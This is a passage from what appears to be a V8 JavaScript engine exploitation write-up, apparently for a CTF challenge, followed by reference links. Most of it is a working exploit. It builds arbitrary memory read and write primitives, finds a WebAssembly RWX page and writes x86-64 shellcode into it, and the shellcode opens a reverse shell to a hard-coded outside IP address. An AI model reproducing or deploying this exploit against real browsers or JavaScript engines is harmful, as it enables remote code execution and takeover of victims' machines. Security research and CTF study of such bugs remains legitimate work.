var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
// console.log("fake obj: 0x"+hex(f2i(fake_object[0])));
// console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}

function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
// console.log("[*] fakeobj addr: 0x"+hex(addressOf(fake_object)));
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
// %SystemBreak();
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}


var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f_addr = addressOf(f);
console.log("f addr: 0x"+hex(f_addr));
var shared_info_addr = read64(f_addr+0x18n)-0x1n;
var wasm_exported_function = read64(shared_info_addr+8n)-1n;
var instance_addr = read64(wasm_exported_function+0x10n)-1n;
var rwx_page_addr = read64(instance_addr+0x88n);
console.log("rwx page addr: 0x"+hex(rwx_page_addr));

shellcode = [
0x6a5f026a9958296an,
0xb9489748050f5e01n,
0xbc9ae16808520002n,
0x6a5a106ae6894851n,
0x485e036a050f582an,
0x75050f58216aceffn,
0x2fbb4899583b6af6n,
0x530068732f6e6962n,
0xe689485752e78948n,
0x50fn
];

var data_buf = new ArrayBuffer(80);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);

f();

</script>

</body>
</html>

参考链接

https://v8.dev/docs/build

https://v8.dev/docs/source-code

https://cnodejs.org/topic/5b42047dfb9e84ec69cc18d7

https://skylerlee.github.io/codelet/2017/03/08/build-v8/

https://www.jaybosamiya.com/blog/2019/01/02/krautflare/

http://eternalsakura13.com/2018/05/06/v8/

https://xz.aliyun.com/t/5002

https://changochen.github.io/2019-04-29-starctf-2019.html

https://www.freebuf.com/vuls/203721.html

https://xz.aliyun.com/t/5190